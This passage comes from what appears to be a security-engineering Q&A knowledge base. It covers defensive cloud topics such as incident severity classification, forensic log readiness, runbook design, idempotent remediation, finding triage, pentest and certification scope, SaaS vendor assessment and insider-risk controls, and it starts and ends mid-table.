
MeasureQ1Q4Reads as
findings closed220410improving
median exposure duration, critical6 d19 dworsening
accounts with data-plane logging31/4034/40slow
standing admin principals1227worsening
detection latency, canary4 h9 hworsening

Every activity number improved while every exposure number got worse. That pattern usually means the scanner got noisier or the estate grew faster than the team.

Why findings-closed lies

Three mechanisms. The denominator moves: a new account or a new scanner rule adds findings, so the count rises without anything getting worse. Severity inflation: teams re-rate findings down to close them. Auto-closure: a resource deleted by a rebuild closes its finding without anyone fixing the class of problem, so the same misconfiguration reappears next week under a new ID.

Failure modes and how you'd see them

  • MTTR improves but exposure duration does not: you are closing findings, not fixing them. Detect by comparing cohort survival curves quarter over quarter.
  • Coverage sits flat at 100%: the denominator is stale. Detect by reconciling account count against the org's billing or SSO list, not the scanner's own inventory.
  • Standing privilege measured at a point in time: a break-glass role assumed for 30 minutes a week looks clean. Measure peak concurrent privilege, or count role assumptions per week.
  • Detection latency measured by the vendor's own scheduled test: use an action your team did not schedule.

What I'd put on the slide

Exposure duration by severity cohort, standing privilege count and oldest credential age, logging coverage as a fraction with the denominator named, and detection latency from an unscheduled test. Findings closed goes in an appendix as context.

If you can only move one: exposure duration. It is the number an attacker's dwell time actually tracks.

Curated: · Written: · Reviewed:

Q&A-62Why classify incident severity before investigating?

The 90-second answer. Severity is not a diagnosis, it is a routing decision. It decides who gets paged, who commands, what they are allowed to spend, how often customers hear from you, and, for anything touching personal data, when a legal clock starts. All of that has to happen before the cause is known, because the cause may take days to establish and the clock does not wait. So you classify on the impact you can observe right now, commit to the actions that severity implies, and re-classify as facts arrive.

Why it cannot wait for the investigation. Investigation time is unbounded; response obligations are not. Under GDPR Article 33, a controller has 72 hours from becoming aware of a personal data breach to notify the supervisory authority, and "becoming aware" is discovery, not root cause. Every hour spent establishing whether data was accessed is an hour off that budget, and the notification itself still has to be written, reviewed by legal, and approved.

Arithmetic, with the 72-hour clock as the fixed constraint:

Declared atHours consumedBudget leftAfter 8h to draft + legal review
discovery07264
after triage66658
after root cause304234

The third row is the failure. Waiting bought no information about the deadline; it only spent margin. That margin is what you need for containment, evidence preservation, and a notification that is not wrong.

What severity actually buys. A level should resolve to concrete commitments, not a feeling:

SevPageAuthorityCommsClock
S1IC + on-call + exec sponsor, immediatelyIC may take prod down, spend up to a pre-agreed cap without approvalcustomer status page within 30 min, updates hourlyregulatory and contractual clocks start at declaration
S2on-call + team leadteam lead may fail over; no data-destructive actionsinternal only, updates every 4hclocks start if scope widens
S3ticket, next business dayengineernonenone

If a level does not map to a different set of actions, it is decoration.

Trade-offs and failure modes. The two errors are asymmetric. Over-classifying costs a bounded amount: a few engineers for a few hours, an exec who is mildly annoyed. Under-classifying costs an unbounded amount: a missed statutory window, a contractual breach, customers who learn from a regulator instead of from you. So bias high and make downgrade cheap. Anyone can raise severity; only a named role, the incident commander or the on-call manager, can lower it, and lowering requires a written reason in the timeline. That asymmetry is deliberate.

Failure modes worth watching:

  • Classification by cause. "It's just the cache" is a hypothesis, not an impact statement. If the cache being down means checkout fails for everyone, it is S1 no matter how boring the cause sounds.
  • Severity inflation. If everything is S1, nobody moves fast on the real one. Track declared S1s against confirmed S1s; as a rule of thumb, if more than about a third of declarations survive review, the definitions are too loose.
  • Silent downgrade. Severity quietly dropped in a Slack thread with no record. Require the downgrade and its justification in the incident timeline.
  • Clock confusion. Teams that believe the clock starts at root cause. Rehearse with an ambiguous scenario, "we think a bucket was public for an unknown window", and check that the answer is "declare now, re-classify later."

The line to remember. Classify on impact known now and revise as facts arrive; the cost of being early is small and the cost of being late is not.

Curated: · Written: · Reviewed:

Q&A-63What has to be true before an incident for a cloud investigation to be possible?

The 90-second answer

Three preconditions, none of which can be created after the alert fires.

  1. The log exists and outlives the dwell time. Most of what an investigation needs is off by default: CloudTrail data events, VPC Flow Logs, and any memory capture.
  2. The volatile state can be captured before the platform destroys it. Autoscaling replaces the instance, DeleteOnTermination takes the EBS volume with it, and memory is never captured unless an agent was already running.
  3. An identity can still read the evidence. A forensics account with a pre-agreed role, and KMS keys that still exist and still grant that role kms:Decrypt.
EvidenceDefault stateRetention you controlCost to turn on
CloudTrail management eventson; Event history holds 90 days, freetrail to S3: unlimited, S3 lifecycle governsS3 ~$0.023/GB-month
CloudTrail data events (S3 objects, Lambda invoke)offsame~$0.10 per 100,000 events
VPC Flow Logsoffyou set it; default max aggregation 10 min, can be 1 minCloudWatch Logs ingestion ~$0.50/GB
GuardDuty findingson if GuardDuty is enabled90 days inside GuardDutyexport to S3 for longer
CloudWatch Logs log groupsretention "Never expire"1 day to 10 years~$0.03/GB-month archived
EBS snapshotnoneuntil you delete it~$0.05/GB-month
Instance memorynever capturedn/aneeds an agent and a live instance

Prices are us-east-1 list; check the current pricing page before quoting them in a design doc.

Retention: the cost is in the query engine, not the bytes. 50 GB/day of VPC Flow Logs into CloudWatch Logs is $25/day ($760/month) at $0.50/GB ingestion. The same 1.5 TB/month in S3 Standard is ~$35/month. S3 is roughly 20x cheaper for identical bytes, but you lose Logs Insights and get it back with Athena over the prefix. Keep the 7–30 days you will actually query during an incident in CloudWatch Logs; keep the 12 months you are required to hold in S3.

Snapshot automation: the blast radius is the KMS key, not the snapshot. Auto-snapshot on a GuardDuty finding costs $5 per 100 GB instance, but a false-positive storm snapshots the fleet. 200 instances is $1,000/month if nothing expires them, so pair it with a lifecycle rule. The sharper failure: an EBS snapshot encrypted with a customer-managed key is unreadable if that key is deleted or its policy stops granting the forensics role kms:Decrypt and kms:CreateGrant. Snapshot the key's existence and policy, not just the volume.

When lighter readiness is enough. For a stateless workload with no regulated data and a one-service blast radius, CloudTrail management events plus GuardDuty's 90 days is a defensible floor: you can reconstruct which principal called which API. Add data events and flow logs when the question you would have to answer is "what data left, and where did it go". The retention floor comes from the regime, not from taste: PCI DSS v4.0 requires 12 months of audit log history with the most recent 3 months immediately available; HIPAA requires 6 years for the documentation.

What the gap looks like. A GuardDuty finding UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS fires at 02:14 UTC on day 0 against the web-tier instance role. Nobody picks it up. On day 2 the ASG health check replaces the instance; the EBS volume goes with it and the memory goes with that. The investigation starts on day 5.

  • GuardDuty finding: still there (90-day retention). You know the credential was used from an IP outside AWS.
  • CloudTrail management events: still there (90-day Event history). You can see the AssumeRole and any control-plane calls that followed.
  • CloudTrail data events: off. The GetObject calls that moved the data were never recorded.
  • VPC Flow Logs: off. No destination IP, no byte counts.
  • Instance disk and memory: gone.

You can prove the credential was used and not what it read or where it went. That is the difference between an incident report and a guess.

How you know you have it. Take a synthetic GuardDuty finding in a non-production account, start a clock, and have someone who did not build the pipeline answer three questions: which principal, which data, which destination. Record what they actually retrieved and how long it took. Anything they could not retrieve is a precondition you have not met.

Curated: · Written: · Reviewed:

Q&A-93What makes a security runbook usable at three in the morning?

A runbook that works at 3am is a decision procedure, not a description. Every mechanical step is a command you can paste, the output you should see, and the branch to take when you see something else. Every irreversible step names who can authorize it. The test is a cold reader: someone who didn't write it, woken without context, finishes it without asking anyone a question.

Why that shape: at 3am the reader's system knowledge and working memory are both degraded. Prose ("isolate the affected account") forces them to translate intent into action while under pressure, and that translation is where the 40 minutes go. A command removes the translation. Commands alone aren't enough either: without expected output the reader can't tell success from silent failure, and without a named approver they stall at the first destructive step.

A step that survives the test:

# Step 0 — confirm you are in the right account before touching anything
aws sts get-caller-identity
# Expected: {"Account":"111122223333","Arn":"arn:aws:sts::.../break-glass",...}
# If Account is not 111122223333, stop. You are in the wrong account.

# Step 3 — revoke the exposed SSH rule
aws ec2 revoke-security-group-ingress \
  --group-id sg-0a1b2c3d4e5f67890 \
  --protocol tcp --port 22 --cidr 203.0.113.7/32
# Expected: no output, exit code 0.
aws ec2 describe-security-groups --group-id sg-0a1b2c3d4e5f67890 \
  --query 'SecurityGroups[0].IpPermissions'
# Expected: no rule with CidrIp 203.0.113.7/32. If it is still there, the
# caller lacks ec2:RevokeSecurityGroupIngress — escalate to the on-call
# security engineer, who holds the break-glass role.

Each step carries three things: the command, the expected result, and the failure branch with a named authority. The permission name (ec2:RevokeSecurityGroupIngress) matters because AccessDenied is the most common 3am failure, and the reader needs to know whether to retry, escalate, or stop.

Trade-offs. Command-level runbooks are expensive to keep: every API rename, resource-ID rotation and console change invalidates them, so they rot faster than prose. Prose is the right format for judgment steps (deciding whether to declare a Sev-1, whether to fail over a region) where the answer depends on context no script captures. The workable split is hybrid: commands for the mechanical steps, prose plus explicit decision criteria for the judgment ones. And you can't afford one for every alert; rank by frequency × blast radius and write the top handful properly.

Failure modes to design against:

  • Console-only steps. The UI moved; the reader improvises. Prefer CLI/API steps, which are stable and diffable.
  • No expected output. Silent success and silent failure look identical.
  • No named approver. The reader knows what to do and can't do it.
  • Runbook hosted behind the system that's down. Keep a copy reachable when auth is broken.
  • Stale break-glass credentials. AccessDenied on step 0.

Detection: run a drill with a reader who has never seen the system and log every step they could not complete unaided. Illustrative drill data from a tabletop:

Runbook styleSteps completed unaidedTime to isolate
prose description4 of 1240 min
commands + expected output + approver12 of 126 min

Those figures are illustrative, not measured: the point is the shape: the gap sits in the steps that required interpretation, not the ones that required typing.

Write it for the person who has never done it, and re-drill it every time the system changes.

Curated: · Written: · Reviewed:

Q&A-92Your automated remediation ran twice on the same finding. What should have happened?

Nothing should have happened the second time. The second delivery should have been recognised as a duplicate of a finding already remediated, returned the recorded outcome, and made no change to infrastructure.

Two assumptions decide the answer. The trigger path is at-least-once (SQS standard queues, SNS, and Kafka's default producer all are) so a duplicate is expected, not exceptional. And the remediation mutates live state, so a duplicate execution is a duplicate change.

The mechanism is a key plus a recorded outcome. Key on the finding's identity, finding ID plus the action, not on the rule, the resource, or the execution. Write the outcome to a durable store with a conditional write that fails if the key already exists. The second delivery loses that write, reads the stored outcome, and returns it.

That covers duplicate delivery. It does not cover a human or another system changing the resource between the two runs, which is what turns a harmless replay into a revert. For that, the action must be a set-to-desired-state rather than a delta, and the write should be compare-and-set on the resource version (an ETag, a Kubernetes resourceVersion, a config revision) so the remediation refuses to act on a stale read.

def remediate(finding, store):
    key = f"{finding.id}:{finding.action}"
    if not store.claim(key):          # conditional put; fails if key exists
        return store.outcome(key)     # duplicate delivery: replay recorded result
    try:
        result = apply(finding)       # set desired state, not a delta
        store.record(key, result)
        return result
    except Exception:
        store.release(key)            # let a retry attempt it again
        raise

Releasing the key on failure is only safe because apply sets state; if it were a delta, the retry would double-apply.

What the second execution does under three designs:

DesignSecond executionCollateralTime to diagnose
No key, delta actionRepeats the revokeReverts a policy re-added in between~60 min
Key on finding ID, outcome storedReturns stored outcome, no-opNone0
Key plus compare-and-set on resource versionNo-op, or re-applies desired state on driftNone0

A worked trace of the middle row, two deliveries of finding F-8813 four seconds apart:

delivery 1  claim("F-8813:revoke") -> True   apply() -> 1 API call   record() -> ok
delivery 2  claim("F-8813:revoke") -> False  return stored outcome  -> 0 API calls

Failure modes worth naming. A key too coarse, rule ID instead of finding ID, swallows genuinely new findings; detect it by counting suppressed findings per rule, since a rule whose dedupe ratio sits near 1.0 is mis-keyed. A key too fine, including a timestamp or execution ID, never dedupes; count actions per finding ID and anything above 1 is a leak. A key TTL shorter than the source's redelivery window reopens the hole: SQS retention defaults to 4 days and can be set to 14, so a 1-hour TTL leaves a long window where a duplicate looks new. And when the outcome store is unreachable, decide per action: fail closed and page for destructive ones, fail open for additive or read-only ones.

Hypothetically, at 200 remediations a day and a 0.5% duplicate rate on the alerting path, that is one duplicate daily, roughly 365 a year: enough that "we would notice" is not a control.

Verify by replaying the same finding event into the pipeline and confirming the second execution makes zero mutating API calls. Read that from the resource's audit log, not the automation's own logs, since the automation's logs are the thing under test.

Curated: · Written: · Reviewed:

Q&A-91How would you decide which of a hundred findings actually matters?

What I'd say first

The decision is a ranking under a capacity constraint: you can fix maybe ten things this sprint, so the question is which ten. I'd triage in three passes, cheapest first, and only pay for the expensive pass on what survives.

  1. Exploitable now? Anything on CISA's KEV catalog, or with a high EPSS score, on an internet-facing asset gets fixed regardless of CVSS. This is a lookup, not analysis.
  2. Does it compose into a path? A finding is an edge: a permission, a route, a credential. What matters is whether edges chain from something an attacker can reach to something they want. Three mediums on a two-hop path to the customer database beat an isolated critical on a host with no route to anything.
  3. What does it cost to fix? Among equal-path findings, the cheap fix that cuts the most paths wins.

How composition actually works

Model the estate as a directed graph: nodes are identities, hosts, data stores; edges are "can authenticate to", "can assume", "can reach on port". Run shortest-path from external entry points to crown-jewel assets. Tools that do this: BloodHound (AD/Entra), PMapper and AWS IAM Access Analyzer (AWS IAM), Cartography (builds the graph into Neo4j). The output is a list of paths; the findings on those paths are your queue.

Why shortest path: it's the cheapest route for the attacker, so it's the one most likely to be used, and cutting one edge on it kills every longer path through that edge.

Trade-offs, when this is the wrong tool

Graph triage costs real money: you need current asset inventory, IAM data and network reachability, and the graph is stale the day after you build it. A deleted role still present as an edge produces a false path; a missing trust relationship produces a false negative, which is worse. Severity-first is adequate when the estate is small enough to hold in your head, when no crown jewel is reachable from an untrusted network, or when the finding is directly exploitable: a KEV-listed RCE on a public host needs no graph.

Failure modes

  • Stale graph. Detection: timestamp every edge and alert when a prioritised path uses an edge older than your inventory refresh.
  • False path. A theoretical permission blocked by an SCP or network ACL the graph doesn't model. Detection: validate the top paths by attempting the action. Call the API, or run the exploit in a lab.
  • Missing edge. An unmodelled trust (a CI service principal, a VPN) hides the real path. Detection: red-team the top asset quarterly and compare the route taken against the graph's.

Worked example (illustrative)

100 findings, one sprint of capacity.

PassFilterFindings
1KEV/EPSS high AND internet-facing8
2On a shortest path to a crown jewel5
3Both of the above2

Queue = 8 + 5 − 2 = 11. Fix the 2 first, then the rest by fix cost. The other 89 are logged with a re-check date, not closed.

Curated: · Written: · Reviewed:

Q&A-72Can a billing anomaly indicate a compromise?

Yes, but treat it as a corroborator, not a detector. Billing is the one telemetry channel an attacker with stolen credentials usually cannot switch off. From an account you own you can disable CloudTrail, delete GuardDuty, and stop VPC flow logs; you cannot stop the meter. That makes billing a useful backstop for accounts with no other coverage, and a poor primary detector, because the pipeline is batch and daily.

Assumptions I'd state before answering: the provider exposes per-account and per-service spend (AWS Cost Explorer and CUR, GCP billing export to BigQuery, Azure Cost Management); the account has no legitimate compute baseline; and the attacker holds workload credentials, not the payer account's root.

Why it's slow. Billing data is aggregated, not streamed. Cost Explorer data refreshes at least once every 24 hours, CUR files land in S3 at least daily, and AWS Cost Anomaly Detection evaluates on a daily cadence. The floor on detection latency is hours-to-a-day no matter how you configure it.

Compare the alternatives before you lean on it.

SignalTypical detection latencyAttacker can disable?Blind spot
CloudTrail control-plane alert (RunInstances from a new principal)seconds–minutesyes, with the right permissionsdata-plane abuse of existing resources
GuardDuty (crypto-mining, credential-exfil findings)minutesyesmust be enabled per account and region
VPC flow logs, egress to a mining poolminutesyesencrypted or obfuscated destinations
Billing anomalyhours–daysnono attribution, no host detail

Deciding criteria: if GuardDuty and flow logs are on, billing adds little and costs you alert noise. If the account is a sandbox, a dormant project, or a region where nobody enabled detection, billing is the only signal you will get. Billing-only monitoring is acceptable exactly there, accounts whose expected spend is zero or flat, and nowhere else.

What to configure. Per-account and per-service anomaly monitors, evaluated as often as the provider allows (Cost Anomaly Detection runs daily), routed to security as well as finance. A monthly finance review is a five-week detector in practice.

Illustrative arithmetic: 20 c5.4xlarge instances at roughly $0.70/hr list is about $14/hr, $336/day, $11,800 over five weeks. That is the shape of a mining bill: steady, linear, no diurnal curve. Legitimate autoscaling is spiky and follows traffic; a flat ramp at 3 a.m. in an account with no workloads is not.

Failure modes. False positives from a new batch job, a savings-plan expiry, or a large data-transfer bill; alert fatigue if every anomaly pages on-call. Latency is the real one: by the time billing fires, the attacker has had days. And a billing alert tells you money is being spent, not who is spending it: you still need CloudTrail to find the principal.

How I'd validate it. Inject a controlled spike in a test account, launch instances, and measure the time from spend to page end-to-end. If that number exceeds your tolerance, billing is a backstop, not a control.

Curated: · Written: · Reviewed:

Q&A-73What is the security risk in a resource nobody uses?

The risk is not the idle spend. An unused resource keeps its identity, its network reachability, and its data, and loses the one control that made those safe: a human who would notice a change. What is left is a credentialed, reachable asset with no supervision. That is the whole risk, and it is why abandoned accounts and forgotten subscriptions recur as an entry point rather than a curiosity.

Mechanism: ownership decays faster than infrastructure. A team is reorganised, the person who created the account leaves, the tag stays. Posture scanners scope by tag, by account, or by an allow-list, so an untagged resource drops out of the scan silently: the dashboard goes green because the resource is no longer in it. Meanwhile the credential is not rotated, because rotation is driven by the owner, and there is no owner. The three properties that make it dangerous: a role trusted by production, a snapshot of the customer database, a security group open to 0.0.0.0/0: are exactly the ones nothing expires.

Now the trade-offs, because "require an owner and expire it" is one option among several and it is the wrong one in some estates.

  • Ownership expiry. Require an owner on every account and resource, expire the claim, flag the unclaimed. Works when ownership resolves against an identity provider you trust and the resource is genuinely disposable. Fails when ownership is a free-text field nobody updates, or when the resource is a legal-hold archive whose owner team no longer exists but whose retention obligation does. Use it for the general estate; do not use it as the only control.
  • Inactivity reaping. Delete anything with no traffic for N days. Cheap, no human in the loop, and wrong for periodic resources: a DR replica, a cold standby, an annual key-rotation job, a tax archive. Deciding criterion: is the resource's value continuous or periodic? If periodic, inactivity is not evidence of disuse.
  • Creation-time gating. Deny untagged or ownerless resources at creation. Prevents new orphans, does nothing for the backlog. Pair it with a sweep; it is not a substitute.
  • Containment instead of deletion. Deny-all network policy on an unowned resource, rotate or revoke its credentials, leave the data. Reversible, cheaper than a decommission, and it removes the pivot without risking a production break. Use it when you cannot yet prove deletion is safe.

Deciding criterion between contain and delete: blast radius if deleted versus blast radius if compromised. If deletion breaks production, contain first. If compromise gives lateral movement into production, delete first.

A pattern I have seen: a project account from a cancelled initiative retained a role trusted by production and a snapshot of the customer database. Nobody had owned it for two years and it was outside the posture tool's scope, so it never appeared on a report.

Illustrative estate, ownership reconciliation:

AccountsOwner respondsIn scanner scope
31yesyes
9noyes
4nono

The 4 are the ones that matter: unowned and unscanned. The 9 are recoverable by asking. The 31 are fine until their owner leaves.

Detection: reconcile the account inventory against active ownership on a schedule, and alert on API calls from principals with no responding owner. Do not treat a green posture dashboard as coverage; check what the scanner's scope excludes.

Curated: · Written: · Reviewed:

Q&A-64What makes a security exercise more than a meeting?

An exercise stops being a meeting the moment someone has to touch a system while the clock runs.

Assume a service team with an on-call rotation and a written incident-response plan, and that the point is to find out whether the plan survives contact with reality. Under those assumptions, an exercise is more than a meeting when it produces evidence of capability (steps actually performed, timed, and recorded) instead of confirmation that people have read the plan. A walkthrough of a document only proves the document exists.

Three things separate the two. The scenario is one the participants have not seen, so they cannot rehearse the answer. Actions are performed, not described: retrieve the log, run the isolation command, page the secondary. And an injection partway through invalidates the first plan, which is where the real gaps surface. Record every point where the answer is "I'd look that up": those are the findings.

Hands-on is not free, and it is not always right. Two hours with five engineers is ten engineer-hours, plus a staging clone with realistic IAM and a break-glass path that can take a day to build and must be torn down. Point it at production and you risk the outage you were rehearsing for. A facilitated walkthrough is the correct call when the team is new, the plan is unread, or the exercise is a compliance checkbox: there you are testing whether the document is coherent, not whether people can execute it. Hands-on also decays if the scenario leaks; run it annually with a fresh scenario rather than quarterly with the same one.

The failure I have seen: an annual tabletop confirmed the plan was understood, and the real incident revealed nobody had out-of-hours access to isolate an account. The exercise had never required anyone to demonstrate it. The detection is mechanical: count steps attempted against steps completed, and treat every step that could not be completed as a gap.

Hypothetical figures from one team's rotation, 6 responders:

FormatDurationSystems touchedSteps attemptedSteps completedGaps found
Document walkthrough45 min0001
Facilitated tabletop90 min0004
Hands-on with injection2 hstaging clone + IAM1499

The nine gaps in the hands-on run are the five incomplete steps plus four found along the way (a dead runbook link, a stale escalation number, a missing approval path, an unlogged decision).

A trace of that run, hypothetical: T+0 the scenario lands. Deploy-bot credentials appear in a public repo. T+12 the team identifies the bot's IAM role. T+25 they try to revoke the role's sessions and the runbook links to a console page that no longer exists (gap 1). T+40 injection: the on-call engineer is unreachable. T+52 the team finds the secondary in the escalation policy, but the number belongs to someone who left (gap 2). T+70 they isolate through the break-glass role, which needs a manager's approval; the manager is asleep and they wait 25 minutes (gap 3). The run ends at T+120 with 9 of 14 steps complete.

If the exercise ends with everyone agreeing the plan is good, you tested the plan's prose. If it ends with a list of steps nobody could complete, you tested the system.

Curated: · Written: · Reviewed:

Q&A-65How do you keep security debt from becoming permanent?

Security debt becomes permanent when nothing forces a decision on it. My answer is to give every item a decision date, and make the outcome at that date a decision rather than a status.

Assumptions first: you have some inventory of findings (scanner output, a pentest report, a threat model) and an engineering leader who can sign off on accepting risk. If you're in a regulated regime with mandated remediation windows (PCI DSS, FedRAMP), the SLA is your deadline and this is just the reporting layer on top.

The mechanism: a severity label is static and comparable across every item in the org, so it loses to work with a date attached. A review date converts the item into a scheduled decision that lands in a specific sprint-planning conversation, and the acceptance requires a named person to own the residual risk. At the date, exactly one of three things gets recorded: fix it (ticket in a sprint), accept it (with a compensating control and a new expiry), or delete it (the exposure no longer exists. Service decommissioned, endpoint removed). The item cannot stay "open" past its date without someone signing the acceptance. That signature is the forcing function.

Alternatives, and when each wins:

ApproachMechanismFails when
Severity SLAs (critical in 30 days)Tool-assigned severity drives queue orderSeverity doesn't track real exposure; teams game it or drown
Acceptance-only (sign-off, no expiry)Risk owner signs onceAcceptance is permanent by default; the signature never expires
Register + dated decision (this)Every item hits a decision dateOverhead exceeds value below ~20 items

Deciding criterion: with fewer than ~20 open items and a small team, a spreadsheet and a monthly 30-minute review is enough. The ceremony only pays off when items outlive the people who raised them.

Failure modes, and how to detect them:

  • Date inflation. Everyone sets the review date 12 months out. Detect by reporting median time-to-decision, not just the overdue count.
  • Zombie acceptance. The same item is re-accepted with the same justification. Detect by counting re-acceptances per item; more than two means the compensating control isn't working.
  • Orphaned items. The owner left. Detect by reporting items whose owner is no longer in the org.

Worked example (hypothetical): a register of 90 items had a named owner for 22 and a review date for 14; 6 appeared in post-incident analysis as contributing conditions, all raised more than a year earlier.

PropertyCount
items open90
with named owner22
with review date14
appeared in an incident6

The arithmetic that matters is steady-state size. Raise ~15 items a quarter and let the median time-to-decision sit at 400 days, and the open count settles near 15 × (400/90) ≈ 67 items, and keeps climbing while decisions lag. Report that number and the median time-to-decision; those two move when the process is working.

Curated: · Written: · Reviewed:

Q&A-66A penetration test returns no critical findings. What does that tell you?

A clean penetration test tells you one thing: the team that was hired, in the window they were given, with the access they were granted, could not exploit the paths they tried against the systems they were pointed at. That is evidence of absence inside a box. It says nothing about anything outside the box, and the box is usually smaller than the reader assumes.

Read four things before the findings section: scope, elapsed tester days, the access level granted, and the methodology. A credentialed test against a web app over ten days is a different instrument from an unauthenticated external scan over two. Both can return "no critical findings."

SystemIn scopeTested with credentialsTester days
customer web appyesyes, standard user10
identity providerno—0
CI/CDno—0
cloud control planepartial, read-onlyyes, read-only2

Then the things a clean report cannot speak to:

  • Detection and response. A pen test measures whether an attack succeeds, not whether you would notice. Unless the engagement carried a detection objective, your alerting on the tested paths is untested.
  • Out-of-scope systems. Untested is not clean. The identity provider, the CI system, the build pipeline, the third-party SaaS admin console: each needs its own assurance rather than inheriting this report's conclusion.
  • Vulnerability classes outside the methodology. Business logic abuse, social engineering, supply-chain compromise and insider paths are usually excluded by default.
  • Time. The report is a snapshot. Code shipped after the test date is untested.
  • Severity is a judgement. "No critical" often means findings exist rated medium or low. Two mediums that chain, an SSRF plus a reachable metadata endpoint, are a critical path the report may not have rated as one.

The failure mode is the conclusion outrunning the scope. A composite example: a clean report covered the customer-facing application; the identity provider and CI system were out of scope; the intrusion came through a CI runner's over-permissioned token. Nobody lied. The report was accurate and the conclusion drawn from it was wrong.

What to do with a clean report: pull the exclusions list, and for each excluded system confirm it has its own test, its own threat model, or an explicitly accepted risk. Ask for the raw findings, not the executive summary: the summary is written for a different audience. Read the report's own limitations section. Check the retest date against your last significant deploy.

Then ask the question the report cannot answer: what would have to be true for this to be a false negative? If the answer is "the testers were pointed at the wrong thing," you have your next engagement's scope.

Curated: · Written: · Reviewed:

Q&A-67You are certified against a recognised framework. What does that establish?

Short answer. It establishes that an independent third party assessed a defined scope against a defined set of criteria and concluded the stated controls were designed and, for Type II/ISO 27001, operated effectively during a stated period. It does not establish that you are secure against a determined attacker, that every system holding sensitive data is covered, or that the controls would stop a specific intrusion.

Assume the framework is SOC 2 Type II or ISO/IEC 27001; PCI DSS is an attestation against a cardholder data environment, not a general security certification.

What the certificate actually says

  • SOC 2 Type II: an AICPA attestation. The auditor tests controls over a period (e.g., 1 Jan–31 Dec 2024) against the trust services criteria: Security, Availability, Processing Integrity, Confidentiality, Privacy. Type I is as of a point in time. The report includes management's assertion, the auditor's opinion, control descriptions, tests performed, results, and any exceptions. It is restricted use.
  • ISO/IEC 27001:2022: a certification body audits the ISMS against the standard and the organisation's scope statement and Statement of Applicability. Annex A has 93 controls in four themes: organizational, people, physical, technological. The certificate is valid up to three years, with surveillance audits at least annually and recertification before expiry. The certificate can be checked with the issuing certification body or IAF CertSearch.
  • PCI DSS: an Attestation of Compliance and Report on Compliance for the cardholder data environment. It is prescriptive and scoped to card data.

What it does not establish Scope and period are the two gaps. A certificate can cover production but not the analytics warehouse or corporate file share. A Type II report can cover last year but not the three months since period end. Subservice organisations can be carved out, leaving their controls to a separate report. Complementary user entity controls can place obligations on you that the auditor did not test.

A hypothetical scope map:

SystemHolds customer dataIn assessed scope
Production APIyesyes
Analytics warehouseyesno
Corporate file shareyesno
Total31

If a breach originates in the corporate file share, the certificate does not speak to it. That is a scope mismatch, not necessarily a control failure.

How to use it Read the scope statement, the period, the criteria, the exceptions, the subservice organisation section, and any bridge letter. Map those against where sensitive data actually lives and how it flows. Ask: which systems are in scope, which are out, which controls are carved out, and what user-side controls are assumed. Then keep a separate technical assurance programme: threat model, penetration tests, detection and response, least privilege, patch SLAs. The certificate is a floor and a communication tool, not a substitute for attacker-focused testing.

Failure modes to detect

  • Scope gap: data outside the assessed boundary. Detect by mapping the data inventory to the scope statement.
  • Period gap: incident after the report period. Detect by checking the period end and bridge letter.
  • Exception: a control failed testing. Detect by reading the exceptions and management response.
  • Carve-out: a subservice organisation's controls are excluded. Detect by reading the subservice organisation section and complementary controls.
  • False confidence: certification cited as proof of security. Detect by asking for the report, not the badge.

The useful question is not "are you certified?" but "certified against what, for which systems, over what period, with what exceptions?"

Curated: · Written: · Reviewed:

Q&A-68A team wants to adopt a SaaS product that will hold customer data. What do you assess?

The first question is what the product can reach and which identity can assume what inside it. A vendor's questionnaire is evidence of their answers, not of the control.

Assume we are the data controller and the vendor is a processor holding regulated customer PII. That assumption decides most of the rest: it pulls in a data processing agreement, breach notification duties, and sub-processor authorization.

Three things to assess, in order.

Access. Can we federate? SAML or OIDC SSO plus SCIM provisioning means joiner/mover/leaver is driven by our IdP, and a departure revokes access in minutes rather than whenever someone remembers. Phishing-resistant factors (WebAuthn/FIDO2) matter more than password policy. Ask which tier carries SSO, because it is frequently gated.

Data lifecycle. Where is it stored, for how long, and how do we get it out and delete it? Export format and deletion-on-request path, plus the sub-processor list under GDPR Article 28(2). Retention defaults are the thing to pin down: "we keep it until you delete it" and "we purge 90 days after contract end" are very different exit costs.

Contract and evidence. SOC 2 Type II and ISO/IEC 27001 reports, the DPA, and breach notification terms. GDPR Article 33 gives the controller 72 hours to notify the supervisory authority, so the vendor's notification SLA has to sit well inside that. A 72-hour vendor SLA leaves you nothing.

Then the trade-offs, because the answer is rarely "reject."

Build vs buy: if the data is core and the access model is simple, an internal service you control may beat a SaaS you cannot audit. Usually it does not, because the vendor's SOC 2 and operational maturity outweigh a homegrown tool.

Tier upgrade vs compensating controls: this is the real decision. If SSO is Enterprise-only, price the upgrade against the cost of the control you would otherwise run, such as manual provisioning, quarterly access reviews, or a password manager. For a 60-person team, 60 individual accounts with no IdP link means a leaver's account stays live until someone notices; that review cost recurs every quarter and still misses the gap between reviews.

DPA negotiation: sub-processor notice periods, deletion certification, and audit rights are negotiable even when the tier is not.

Deciding criteria: if the data is regulated PII and the tier you are buying lacks federation and audit-log export, upgrade or walk. If the data is low-sensitivity and the access model is small, compensating controls can be the cheaper answer.

CapabilityStandardEnterprise
SSO federation (SAML/OIDC)noyes
SCIM provisioningnoyes
Audit log exportnoyes
Deletion on requestyesyes

Confirm federation and audit-log export exist on the specific tier in the quote, not the marketing page, before signing.

Curated: · Written: · Reviewed:

Q&A-69How do you address insider risk proportionately?

Proportionate means matching the control to where the risk actually sits. The distribution decides the design: most insider incidents are mistakes and offboarding gaps rather than espionage, so I shrink what an insider can reach before I watch what they do.

The mechanism is blast radius. A standing production admin role is a permanent capability that exists whether or not the person is doing anything risky; every hour it stays granted is an hour it can be used by accident, by a phished session, or by someone on their way out. Time-bound elevation converts that permanent capability into a short, logged, justified event: a smaller risk and a better audit trail than behavioural analytics produces.

What I would actually put in place:

  • Eligible access, not standing access. AWS IAM Identity Center permission sets with session duration capped at 1–4 hours; Entra PIM with activation capped at 60 minutes, justification and approval required, MFA on activation; GCP Privileged Access Manager for time-bound grants. For SSH, Teleport or StrongDM issuing short-lived certificates instead of long-lived keys sitting in ~/.ssh.
  • Break-glass. Two sealed accounts, credentials in a vault, an alert on any use, rotation after use. Without this, teams quietly keep standing access "just in case".
  • Separation of duties on the few irreversible actions. Dropping a production database, editing an IAM policy, exporting customer data: second approver, no self-approval.
  • A leaver process that revokes, not just disables. Disable within an hour of the HR event, revoke SSO sessions and refresh tokens, rotate shared credentials the leaver could read, transfer ownership of their service accounts and CI tokens. Disabling the account while the API token lives on is the gap I would check for first.
  • High-signal monitoring only. CloudTrail and GuardDuty findings, mass object download, first-time egress to a new destination, break-glass use, IAM policy changes. Not general behaviour analytics.
ControlAccidentMaliceEffortSignal it produces
Eligible + JIT accessyesyesmediumevery elevation, with a reason
